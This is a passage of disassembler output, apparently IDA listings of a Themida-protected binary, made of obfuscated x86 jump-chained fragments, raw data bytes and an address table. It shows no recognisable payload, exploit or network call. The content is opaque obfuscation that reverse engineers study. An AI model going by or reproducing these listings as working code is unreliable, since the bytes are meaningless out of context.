		dd 8B572404h, 83E92404h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE37B:				; CODE XREF: Themida_:004F9DF7j
		add	esp, 4
		neg	eax
		shl	eax, 1
		add	eax, 75C62A99h
		jmp	loc_4F379F
; ---------------------------------------------------------------------------
		db 0BDh
		dd 13AD6080h, 6E49ED81h, 0E56819A2h, 89000072h,	10B9240Ch
		dd 0E9619C3Eh, 0FFFFDFBBh
; ---------------------------------------------------------------------------

loc_4FE3AC:				; CODE XREF: Themida_:004FB5F6j
		not	ebx
		shr	ebx, 1
		dec	ebx
		jmp	loc_4FB0F7
; ---------------------------------------------------------------------------
		dw 0EDC0h
		dd 7EDC004h, 2834C580h,	240C8BE8h, 0FF9436E9h, 2CBE56FFh
		dd 8138007Bh, 0E54742CEh, 0AE89E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE3DA:				; CODE XREF: Themida_:004FD978j
		mov	cx, [esp]
		push	582Ah
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_4F76E1
; ---------------------------------------------------------------------------

loc_4FE3EE:				; CODE XREF: Themida_:004FDF5Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	dword ptr [esp+4], 76E2365Ah
		jmp	loc_4F4A01
; ---------------------------------------------------------------------------
		dw 405h
		dd 33000000h, 4312404h,	24043324h, 2404315Ch, 0FF4ADBE9h
		dd 81D6F7FFh, 0B50D95EEh, 5EF501F7h, 7128ED81h,	0FFE92CB7h
		dd 8BFFFF6Dh, 0C483240Ch, 24143304h, 0E9241431h, 0FFFFD9C3h
		dd 295FF829h, 1E6205E8h, 0F9E976CEh, 8BFFFFF9h,	0C4832434h
		dd 24143304h, 33241431h, 248B2414h, 48B6624h, 58496824h
		dd 3C890000h, 5F02E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE472:				; CODE XREF: Themida_:004FBB8Fj
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, ebx
		jmp	loc_4F8093
; ---------------------------------------------------------------------------

loc_4FE47F:				; CODE XREF: Themida_:004F8EDEj
		sub	bl, dl
		pop	edx
		mov	ax, [esp]
		add	esp, 2
		sub	bl, al
		sub	bl, 2Bh
		jmp	loc_4FE708
; ---------------------------------------------------------------------------

loc_4FE496:				; CODE XREF: Themida_:004F352Ej
		shr	ecx, 6
		dec	ecx
		jmp	loc_4F4859
; ---------------------------------------------------------------------------

loc_4FE49F:				; CODE XREF: Themida_:004FDEF1j
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_4FC467
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0E0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE4AF:				; CODE XREF: Themida_:004F3218j
		add	ebp, 4
		jmp	loc_4FA7B3
; ---------------------------------------------------------------------------
		dw 487h
		dd 0F7685C24h, 8900002Eh, 0BF572434h, 708C06Fh,	0FFE183E9h
		dd 2C781FFh, 87000000h,	0E0E9243Ch, 8BFFFF90h, 1AE9240Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4FE4E7:				; CODE XREF: Themida_:004FBBF5j
		mov	eax, esp
		push	ecx
		jmp	loc_4F8685
; ---------------------------------------------------------------------------
		db 52h
		dd 0E950E289h, 0FFFF8C20h, 0EFB9E951h, 0D028FFFFh, 0FFC065E9h
		dd 47F7BFFFh, 0E7816256h, 0E396970h, 0C8B6EF81h, 0E0E986B2h
		dd 83FFFFA4h, 0EF8104C4h, 56F35188h, 0FF6ED3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE529:				; CODE XREF: Themida_:004FA54Bj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_4FEACD
; ---------------------------------------------------------------------------

loc_4FE537:				; CODE XREF: Themida_:004FA1A5j
		mov	[esp], ebp
		jmp	loc_4F6AF1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFFDEC2h, 2DED7905h, 58C1892Ah, 12E9C829h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE557:				; CODE XREF: Themida_:004FD67Aj
		pop	edi
		jmp	loc_4FD595
; ---------------------------------------------------------------------------
		db 5Bh,	0C0h, 0E0h
		dd 88912C04h, 24048BC1h, 0E904C483h, 0FFFF4ECBh, 437532Dh
		dd 243C8B13h, 4C481h, 0D8290000h, 8904EC83h, 94BB241Ch
		dd 13F5A3Eh, 0BE565BD8h, 33621C40h, 3036F681h, 0F74669C8h
		dd 0AFEE81D6h, 171B1B7h, 17685EF0h, 0E9000018h,	0FFFFD7ACh
		dd 0A8F8E950h, 8B66FFFFh, 35E92424h, 0FFFFFF49h, 669D1C77h
		dd 1CD36659h, 25E99C24h, 89FFFF49h, 8ABD242Ch, 0E9258E13h
		dd 0FFFFD9F8h, 4B8h, 58C10100h,	0FFD3A4E9h, 2E1768FFh
		dd 0C15A39F7h, 0C28105EAh, 0FFFFFFFFh, 6BE7BF57h, 0DE97795h
		dd 56FFFF86h, 0FF6F4FE9h, 2C181FFh, 0E9000000h,	0FFFFF04Fh
		dd 0F5B85056h, 0E957A162h, 0FFFF85A8h
; ---------------------------------------------------------------------------

loc_4FE620:				; CODE XREF: Themida_:004FAF79j
		add	ebp, 2FDE0E5Eh
		add	ebp, esi
		jmp	loc_4F92A7
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2C6868h, 243C8900h, 7F671FBFh, 8EFC149h, 7D7AF781h
		dd 61E936A6h, 80FFFF88h, 0F68001EEh, 7EE8046h, 0FF4CF9E9h
		dd 0E9F231FFh, 0FFFFB6F6h, 0C731F831h, 5157F831h, 0CA27E95Fh
		dd 0E981FFFFh, 7CC8C517h, 5087EA81h, 0CA011D51h, 5087C281h
		dd 81591D51h, 5D2042EAh, 81C20164h, 5D2042C2h, 0F0685764h
		dd 8B0C5542h, 0C483243Ch, 8BFA2904h, 0E952243Ch, 0FFFFCEF4h
		dd 0E924148Bh, 0FFFF7C19h, 0D9F625B1h, 8034C180h, 0E9C033C9h
		dd 0C3F18004h, 0FFCE48E9h, 0B3E981FFh, 3110E98Eh, 240C8BC8h
		dd 0FF73FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE6D5:				; CODE XREF: Themida_:004F99A5j
		pop	esp
		jmp	loc_4F4849
; ---------------------------------------------------------------------------
		db 81h
		dd 6FACEAC2h, 8BD501D3h, 9FE92414h, 54FFFF82h, 8124348Bh
		dd 4C4h, 59BF5700h, 50794A42h, 4A425DB8h, 0E9C73179h, 0A2h
; ---------------------------------------------------------------------------

loc_4FE708:				; CODE XREF: Themida_:004FE491j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 240C8B66h, 8904EC83h, 8B54240Ch, 0F9E9240Ch,	0C0FFFFC6h
		dd 0C9FE06E9h, 0FFC1A4E9h, 13A2BBFFh, 0DA29F5D0h, 2C81525Bh
		dd 142B2724h, 0C5815D50h, 50142B27h, 8324148Bh,	0BF5704C4h
		dd 76CE1E62h, 0FFFCEBE9h, 0E95455FFh, 0FFFFE71Eh, 0E9240C87h
		dd 0FFFFCF56h, 5F04E800h, 3CB15159h, 0FF96DBE9h, 5BD830FFh
		dd 48BC230h, 0EF5EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE77E:				; CODE XREF: Themida_:004F5CD6j
		mov	[esp], esi
		jmp	loc_4FDC55
; ---------------------------------------------------------------------------

loc_4FE786:				; CODE XREF: Themida_:004F573Fj
		add	ecx, esi
		jmp	loc_4F4C09
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFF9C3E9h, 2434FFFFh, 0E6895658h, 42AB850h,	0E0C163CAh
		dd 5168E905h, 158FFFFh,	0C6815FFEh, 4, 31243433h, 0BE92434h
		dd 59FFFF5Dh, 4C481h, 0B7530000h, 0B2526679h, 0E9D700FDh
		dd 0FFFFA49Ch, 68240C89h, 5EC4237Fh, 0FF7D2BE9h, 26BB53FFh
		dd 0F7242922h, 61E943D3h, 81000006h, 4C4h, 66C33100h, 6600B60Fh
		dd 665FE668h, 0E9240489h, 0FFFF46ECh
; ---------------------------------------------------------------------------

loc_4FE808:				; CODE XREF: Themida_:004FAED3j
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		mov	ch, 0BFh
		add	bl, ch
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_4F7A76
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 215561F3h, 81B95165h, 0E955EA15h, 0FFFFC91Fh, 83BE565Ah
		dd 4E496B72h, 0FF55FFE9h, 50D3F7FFh, 8904EC83h,	34FF241Ch
		dd 0A9E95824h, 66FFFFA4h, 56240C8Bh, 0D168E689h, 8900006Ah
		dd 0E956241Ch, 0FFFFF262h, 3E54BB53h, 0B951498Ch, 498C3E50h
		dd 159CB29h, 0CED7E9DEh, 552DFFFFh, 0E93B9F0Ch,	0FFFFB5FBh
		dd 8904EC83h, 4BA2414h,	0E9000000h, 0FFFF8CEAh,	4C3815Bh
		dd 81000000h, 4C3h, 241C8700h, 0FF6994E9h, 40540FFh, 1B000A0h
		dd 0C18358C1h, 0C04BE904h, 0B252FFFFh, 5AD48828h, 0FFAA75E9h
		dd 0BDE781FFh, 811AF34Bh, 9EFE4CC7h, 6E0705F7h,	0CDE959BCh
		dd 66FFFFEFh, 81241C8Bh, 2C4h, 59E82000h, 0FFE4A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE8F1:				; CODE XREF: Themida_:004FD2B8j
		mov	ebp, 4
		jmp	loc_4F59C0
; ---------------------------------------------------------------------------
		db 28h
		dd 2434FFC8h, 0FFA2FCE9h, 3EDC1FFh, 8FC4C581h, 0EA01E082h
		dd 0F953E95Dh, 0E981FFFFh, 4, 5C240C87h, 0E9243489h, 0FFFF7294h
		dd 0F64FED81h, 0EF290B23h, 0A28E9h, 9D05AD00h, 2902A102h
		dd 73CE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4FE942:				; CODE XREF: Themida_:004F502Ej
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, 69091BDDh
		add	ecx, eax
		sub	ecx, 69091BDDh
		pop	eax
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_4F882B
; ---------------------------------------------------------------------------
		db 53h
		dd 0AA56E958h, 8145FFFFh, 8906F0C5h, 0DB09E95Dh, 34FFFFFFh
		dd 26685924h, 8900005Ch, 8B542434h, 0C4812434h,	4, 4EC81h
		dd 2C890000h, 82BB5324h, 811E7A01h, 0F346B0C3h,	5BDD89F4h
		dd 241CF755h, 0FF4F97E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FE9B5:				; CODE XREF: Themida_:004F8F70j
		push	313Fh
		mov	[esp], esi
		mov	esi, 4
		sub	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		jmp	loc_4F34BD
; ---------------------------------------------------------------------------
		db 56h
		dd 4B060FBEh, 0BBCCE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FE9EA:				; CODE XREF: Themida_:004FC03Bj
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 4FDD5D57h
		jmp	loc_4F5136
; ---------------------------------------------------------------------------

loc_4FE9FC:				; CODE XREF: Themida_:004F443Aj
		add	ebp, 7B7C5DB2h
		sub	ebp, 2D0369AFh
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_4FA87E
; ---------------------------------------------------------------------------
		dd 31B3CB8h, 58C10915h,	591BF181h, 0D4E92A7Eh, 29FFFFFBh
		dd 3B662DE8h, 0B9511D7Ch, 740307C0h, 0E2F6E981h, 0C801FF10h
		dd 0CBE5659h, 152D674h,	6799E9F0h, 8B66FFFFh, 0EC832404h
		dd 241C8904h, 0A5E9E389h, 8FFFFFD8h, 0EC832404h, 0DDEAE904h
		dd 8F59FFFFh, 248B2404h, 240C8B24h, 0FF904DE9h,	92B151FFh
		dd 0CE00FCB6h, 5AF58859h, 0F65BFD30h, 0B1CD80DDh, 5338B652h
		dd 0FFE017E9h, 401705FFh, 0C18965B4h, 0FF5E95E9h, 9DE181FFh
		dd 8118D967h, 5E4227C1h, 59C88927h, 0D35D8F7h, 483B5A0Bh
		dd 2408422Dh, 8D0FE957h, 5651FFFFh, 0FF448DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FEACD:				; CODE XREF: Themida_:004FE532j
		push	esi
		push	70605C38h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 78A97A7Ch
		jmp	loc_4F8CC2
; ---------------------------------------------------------------------------
		dd 0EE43E993h, 0DDBFFFFFh, 812D6F71h, 9F3242F7h, 0F7E7D11Bh
		dd 0D7F747D7h, 8D6EF81h, 0A1E9FE46h, 5AFFFF9Dh,	2CC1C181h
		dd 0F90112D5h, 2CC1E981h, 875F12D5h, 248B240Ch,	2434FF24h
		dd 81240C8Bh, 4C4h, 960BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FEB32:				; CODE XREF: Themida_:004F5978j
		push	esp
		pop	ebx
		jmp	loc_4FF198
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0FFC57CE9h, 50E168FFh, 2C8B6110h, 0E1895124h, 0FFFC90E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FEB51:				; CODE XREF: Themida_:004FB279j
		push	0
		sub	[esp], ebx
		mov	ebx, [esp]
		jmp	loc_4F95A0
; ---------------------------------------------------------------------------
		db 9, 0D1h, 5Ah
		dd 5103E1C1h, 592414F7h, 0FFFAFDE9h, 4C381FFh, 87000000h
		dd 525C241Ch, 0CE960B6h, 0C0FFFF58h, 0C68002EEh, 5AF12809h
		dd 8B59C800h, 9CE92414h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FEB97:				; CODE XREF: Themida_:004F97CAj
		pop	ecx
		push	ebp
		mov	ebp, 559C009Ah
		jmp	loc_4F6B51
; ---------------------------------------------------------------------------

loc_4FEBA3:				; CODE XREF: Themida_:004F6AFBj
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_4FA21E
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 4B8h, 6BC2E900h, 0C89FFFFh,	0E997B124h
		dd 0FFFF645Fh, 28C9F180h, 0EEC059CEh, 53F68004h, 5166682Ch
		dd 0FF5C34E9h, 243C8BFFh, 4C481h, 0E9570000h, 0FFFFBCE8h
		dd 672F5535h, 0BF6FE913h, 0AF0FFFFFh, 9CABE9C8h, 595DFFFFh
		dd 0FFA400E9h, 75C681FFh, 0F7236C41h, 948BE9D6h, 0E95CFFFFh
		dd 0FFFFD51Dh, 0BB53EA01h, 177A2DC5h, 3BE38143h, 8174FE31h
		dd 0DF6CD4F3h, 51C3813Ch, 0E90B8303h, 0FFFFE6C7h, 4EC81h
		dd 2C890000h, 81E58924h, 4C5h, 4BA5200h, 29000000h, 0E9555AD5h
		dd 0FFFF5B64h, 148BD789h, 4C48124h, 0E9000000h,	0FFFF8AE0h
		dd 5D2434FFh, 0FF63D2E9h, 2434FFFFh, 6884E95Dh,	0E955FFFFh
		dd 0FFFFB72Bh, 385C581h, 0C14D03B5h, 0E5C104E5h, 0CA03E903h
		dd 0FA87FFFFh, 4BD7BF57h, 0F781016Bh, 0FE94B428h, 6BE9FA29h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FECB3:				; CODE XREF: Themida_:004FDAC5j
		mov	ecx, [esp]
		add	esp, 4
		pop	eax

loc_4FECBD:				; CODE XREF: Themida_:004F866Cj
		push	ebx
		jmp	loc_4FCA5F
; ---------------------------------------------------------------------------
		db 56h
		dd 0C67B68BEh, 5EF0216Fh, 0C7D94505h, 0E9C121F8h, 0FFFF672Bh
		dd 2995BA52h, 0EAC1761Bh, 0EAC28105h, 0E97D8125h, 287h
		dd 4C181h, 0B8500000h, 4, 5158C129h, 42474FFh, 9EBBE959h
		dd 0F701FFFFh, 0FFDE89E9h, 3EE95EFFh, 53FFFFF2h, 0FFE584E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FED19:				; CODE XREF: Themida_:004F4CE9j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_4F5524
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF75DCh, 0BBE6E95Ah, 6851FFFFh, 1751h
		dd 51241C89h, 0E9C0FEB1h, 4EFCE906h, 0C381FFFFh, 4, 8704EB83h
		dd 895C241Ch, 0B0BE2434h, 21498C24h, 93E95EF7h,	5AFFFF66h
		dd 55E68956h, 4BDh, 5DEE0100h, 4B850h, 0C6010000h, 0AD04E958h
		dd 0E381FFFFh, 6E653463h, 665AEB81h, 0E5E96BF7h, 0FEFFFFB3h
		dd 6601244Ch, 80CEFE5Ah, 0C3800BC6h, 80F300FCh,	5AFCEBh
		dd 0AC4BE9C3h, 2BFFFFFh, 55317F3Ch, 80C402BDh, 9528E9CEh
		dd 3489FFFFh, 0F929E924h, 90B8FFFFh, 0E9210C34h, 0FFFF7059h
		dd 2D4555BEh, 653BE962h, 8B66FFFFh, 10E9240Ch, 89FFFFAAh
		dd 4C581E5h, 81000000h,	4C5h, 242C8700h, 65C6815Ch, 593B4952h
		dd 4247401h, 0FFB5FBE9h, 4C481FFh, 80000000h, 0B353B5EEh
		dd 0AEC38042h, 0E2B652h, 0EB805AF3h, 0AEB8067h,	0E5E9DE30h
		dd 5CFFFF64h, 4244431h,	0FFD4E3E9h, 8DC581FFh, 294C7555h
		dd 0FEEAE9EBh, 2D58FFFFh, 753332DEh, 8BC23159h,	0C4832404h
		dd 0E9D60104h, 0FFFFD218h, 0D3F7D3F7h, 222AC381h, 0E9812429h
		dd 54B27555h, 0C181D901h, 54B27555h, 4C1815Bh, 87000000h
		dd 15C240Ch, 242C8BEBh,	8104C483h, 621611C3h, 81C3017Fh
		dd 621611EBh, 0E1BE567Fh, 29611050h, 24348BF3h,	5304C483h
		dd 236401BBh, 5BDA010Ah, 3DBBF57h, 81E916F5h, 89000003h
		dd 0F2B1240Ch, 76B45052h, 96B05066h, 88C18851h,	586659CAh
		dd 0FF6841E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FEEC5:				; CODE XREF: Themida_:004F6CD2j
		mov	[esp], ebp
		jmp	loc_4F7B18
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 6
		dd 68FFFFE5h, 6150h, 0BF243C89h, 53DA4A36h, 0F787DFF7h
		dd 0D1F78746h, 65C781E7h, 5515965Bh, 0FFDDD7E9h, 575A54FFh
		dd 8904EC83h, 32B9240Ch, 896B8549h, 0C78159CFh,	947AB6D2h
		dd 3C8BFA01h, 0D8E95024h, 0FFFFFF55h, 0E9592434h, 0FFFF8005h
		dd 2D78BF57h, 0BA526DDDh, 742B1496h, 475AD721h,	58EF8147h
		dd 5519EE3Eh, 1AC5B6BDh, 5DEF294Ah, 0E95FF901h,	0FFFFA9B6h
		dd 0C381FB01h, 30C94287h, 74FF535Fh, 0E95B0424h, 0FFFFD5A8h
		dd 41AAE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FEF62:				; CODE XREF: Themida_:004F5957j
		neg	eax
		add	eax, 6E8B0BDBh
		sub	eax, 1CB94125h
		jmp	loc_4FBE4D
; ---------------------------------------------------------------------------
		db 81h
		dd 7B13DEEAh, 0A6EA8103h, 817CBC51h, 9DEA8AF2h,	0E9D60104h
		dd 0FFFFDE2Bh
; ---------------------------------------------------------------------------

loc_4FEF8C:				; CODE XREF: Themida_:004F5B50j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_4FAEC2
; ---------------------------------------------------------------------------
		dw 205h
		dd 87000000h, 665C2404h, 9C240431h, 0FF3F47E9h,	241C8BFFh
		dd 4C483h, 51665AD0h, 0C828AFB1h, 8DE95966h, 81FFFF8Ch
		dd 4C3h, 4C38300h, 5C241C87h, 5AB85056h, 894CE841h, 2BE958C6h
		dd 0B7FFFFC2h, 5BFD8827h, 0FF6AFCE9h, 4C483FFh,	0E924048Fh
		dd 0FFFFA81Ah, 70DF68h,	243C8900h, 33241C31h, 1C31241Ch
		dd 31D3F724h, 1C33241Ch, 241C3124h, 0FF4327E9h,	0BB5352FFh
		dd 403499Fh, 815BDA89h,	94C39AC2h, 5AD02966h, 4EC8155h
		dd 89000000h, 0BB241Ch,	83000020h, 0DAE904ECh, 81FFFF4Bh
		dd 955B50C3h, 44EB8104h, 51045D5Ah, 4E0A86B9h, 8AE98108h
		dd 81C1C496h, 0DA34BAC3h, 81CB2974h, 0DA34BAEBh, 0C2315974h
		dd 0FFDD00E9h, 2CE95EFFh, 0E9FFFF95h, 0FFFF3E7Ch, 0E06DE959h
		dd 0C868FFFFh, 8900007Fh, 0EC83242Ch, 243C8904h, 0A1029DBFh
		dd 5FFD8902h, 4C7EBE56h, 0BB536A05h, 14A4A43h, 2D5BDE29h
		dd 6B5F17F3h, 0F305F001h, 0FF6B5F17h, 835E2434h, 0E82904C4h
		dd 0BB023B2Dh, 242C8B68h, 0FFF568E9h, 0D0E680FFh, 2870F680h
		dd 0D8285AF3h, 52241C8Bh, 3C8E9h, 9FE95E00h, 66FFFFA5h
		dd 0C0D2F658h, 0B55106EAh, 8BEA00D7h, 0C483240Ch, 8BD02804h
		dd 2BE92414h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FF0FB:				; CODE XREF: Themida_:004F3C9Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_4F5FFF
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 2, 5BE26866h, 0FFC5ABE9h, 3CE95FFFh,	81000002h, 4C3h
		dd 4893E900h, 0C89FFFFh, 9649E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FF12E:				; CODE XREF: Themida_:004F4174j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	0DDF5E6Bh
		jmp	loc_4F3DF4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E99C241Ch, 0FFFF3DA8h, 8C3C76B9h, 8BCB011Bh, 0C481240Ch
		dd 4, 0E92434FFh, 0FFFF94E5h
; ---------------------------------------------------------------------------

loc_4FF164:				; CODE XREF: Themida_:004F34C2j
		and	edx, 56D80B1Fh
		not	edx
		add	edx, 14D8080Eh
		add	ebx, edx
		pop	edx
		push	eax
		mov	eax, 2
		jmp	loc_4FACA8
; ---------------------------------------------------------------------------
		dd 0E904EB83h, 0FFFFA915h, 4240483h, 4C7815Fh, 0E9000000h
		dd 0FFFFF339h
; ---------------------------------------------------------------------------

loc_4FF198:				; CODE XREF: Themida_:004FEB34j
		push	esi
		mov	esi, 9D762DBh
		sub	esi, 9D762D7h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_4F3533
; ---------------------------------------------------------------------------
		db 58h,	5, 4
		dd 83000000h, 41E904ECh, 87FFFF96h, 55C2434h, 33AF5661h
		dd 0BA52D801h, 33AF5661h, 0F005BD05h, 2DD02926h, 26F005BDh
		dd 23D92D5Ah, 0F0687DADh, 89000054h, 0A4B9240Ch, 4974C321h
		dd 8141D1F7h, 845C2BE9h, 0CA5DE909h, 0ED81FFFFh, 2A564BFDh
		dd 0FF9E99E9h, 2434FFFFh, 4C48358h, 4EC81h, 5E90000h, 0B7FFFFDCh
		dd 30ABB5B6h, 32C5BFDh,	0E951E800h, 0FFFFCB4Eh,	6462C281h
		dd 0E95354EBh, 0FFFF4884h, 0B6A5EA81h, 0D701D66Dh, 4C7815Ah
		dd 87000000h, 0E95C243Ch, 0FFFF3CA4h, 0E9FD015Bh, 0FFFFFEBDh
		dd 6739C781h, 0CF017616h, 6739EF81h, 0EC817616h, 4, 0B8240489h
		dd 24C801AEh, 0D0F7D8F7h, 0FFD0E4E9h, 4FD72DFFh, 0C2895C56h
		dd 0E7CCE958h, 0F281FFFFh, 0E417256h, 0FF4EFDE9h, 8076B2FFh
		dd 0E2C042CAh, 4EC8307h, 0B4240489h, 85B151EFh,	0D1F6C9FEh
		dd 80FFE980h, 0E98048E9h, 59CC2063h, 20ADEC80h,	24048BE2h
		dd 0D52DE952h, 0E883FFFFh, 24043304h, 33240431h, 895C2404h
		dd 81E9240Ch, 66FFFFB1h, 9C2404D3h, 0FF3C0FE9h,	91F380FFh
		dd 0F65BD988h, 54B8E9D9h, 348BFFFFh, 4C48324h, 4C481h
		dd 5AF70000h, 386A8338h, 386AC101h, 386A8108h, 0CF8DAFh
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 30682404h
		dd 8B000000h, 0C4832404h, 593FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FF336:				; CODE XREF: Themida_:004FA0E0j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	2408h
		jmp	loc_4FF4E7
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 56E92404h, 57FFFFB6h, 0FFCEE5E9h, 0BDE95DFFh, 0FFFFFF90h
		dd 815F2434h, 4C4h, 0E0895000h,	405h, 4E88300h,	8B240487h
		dd 0C892424h, 16824h, 34FF0000h, 89515924h, 4C181E1h, 0E9000000h
		dd 0FFFF5D13h, 6E59E959h, 8B66FFFFh, 7D682404h,	89000079h
		dd 0E0892404h, 2DEDBB53h, 0B9512DD1h, 433D0F2Fh, 5159CB31h
		dd 0B05A8FB9h, 2DE98164h, 8108D534h, 1321EAE1h,	0E9814945h
		dd 12B4C8FBh, 0F759CB01h, 0FFC381D3h, 57FFFFFFh, 6778F1BFh
		dd 0E9FB3113h, 0FFFF4CB2h, 4EC81h, 1C890000h, 56E38924h
		dd 0AF54E950h, 2966FFFFh, 380566E8h, 665D6664h,	1B686655h
		dd 665D669Bh, 6608A205h, 5366E801h, 0FFEB42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4FF41D:				; CODE XREF: Themida_:004F6F41j
		xor	[esp+4], edx
		jmp	loc_4F45B6
; ---------------------------------------------------------------------------

loc_4FF426:				; CODE XREF: Themida_:004F5AA4j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_4F8EC0
; ---------------------------------------------------------------------------

loc_4FF432:				; CODE XREF: Themida_:004F7C39j
		xor	ecx, edx
		pop	edx
		xor	ebx, ecx
		pop	ecx
		jmp	loc_4F7F31
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 6D2CBA52h, 2FE93A89h, 0ACFFFF4Eh, 142C8C2Ch,	1404D800h
		dd 310168h, 240C8900h, 0FF4EC9E9h, 81D6F7FFh, 0B3263EF6h
		dd 77BA6859h, 0E6E90000h, 0BBFFFF45h, 5A0031C6h, 42E9D331h
		dd 83FFFFAEh, 5E042404h, 0BDBE5655h, 0BD20CF3Fh, 0DF30C047h
		dd 0FFAA5CE9h, 5AD101FFh, 5759C831h, 0FFBE14E9h, 565A54FFh
		dd 7929BD55h, 0F58110A0h, 10A0792Dh, 815DEE89h,	0D717D8C2h
		dd 81F2014Eh, 0D717D8EAh, 0C2815E4Eh, 4, 5C241487h, 684EC380h
		dd 879h, 0B2241489h, 0E9E2D0B0h, 0FFFF548Fh, 0CAE95450h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4FF4E7:				; CODE XREF: Themida_:004FF349j
		mov	[esp], edx
		jmp	loc_4F8B93
; ---------------------------------------------------------------------------
		db 4Ah
		dd 0D0FFFFD0h, 0EB005562h, 44000008h, 8D005516h, 28FA4BB0h
		dd 5400559Bh, 17FFFFA7h, 2000002h, 1000000h, 6000000h
		dd 8D000000h, 0FA4BB0h,	4 dup(0)
		dd 0A6000000h, 2B00507Fh, 0C100513Dh, 0B900504Eh, 0A40050E0h
		dd 370050CCh, 0E800503Dh, 33005001h, 9C0050F2h,	140050CAh
		dd 200504Bh, 2600506Eh,	330050DAh, 0CE005104h, 7B0050B3h
		dd 0CB005069h, 0E5005126h, 4C0050DEh, 3E005117h, 0E5005080h
		dd 0F300514Ah, 0DA0050DCh, 7C005136h, 57005015h, 0B0005142h
		dd 700500Fh, 0AE0050EEh, 6A0050F5h, 70005022h, 0B40050FFh
		dd 330050C3h, 5E005098h, 3700507Ch, 9F005003h, 3800508Bh
		dd 0D50050CDh, 70050A6h, 3C0050BAh, 0B700514Bh,	33005060h
		dd 66004FFBh, 8D005109h, 0CE00507Dh, 930050F6h,	0AA00503Dh
		dd 2B0050A2h, 4F00501Eh, 0D9005104h, 0EA005007h, 9D005102h
		dd 8B005108h, 36005134h, 9200514Eh, 830050C5h, 670050F1h
		dd 0CC0050C7h, 0F20050D3h, 0D2005009h, 5E00505Ah, 0E60050D5h
		dd 3B0050DDh, 2E0050AEh, 13005122h, 5C00509Ah, 3D005012h
		dd 360050E9h, 0F2005033h, 4E0050A1h, 0F4005018h, 0C5005133h
		dd 0E3005092h, 6D00509Ch, 9C005082h, 99005005h,	0CB005084h
		dd 95005041h, 0B2005101h, 31005144h, 20050A8h, 0C2005076h
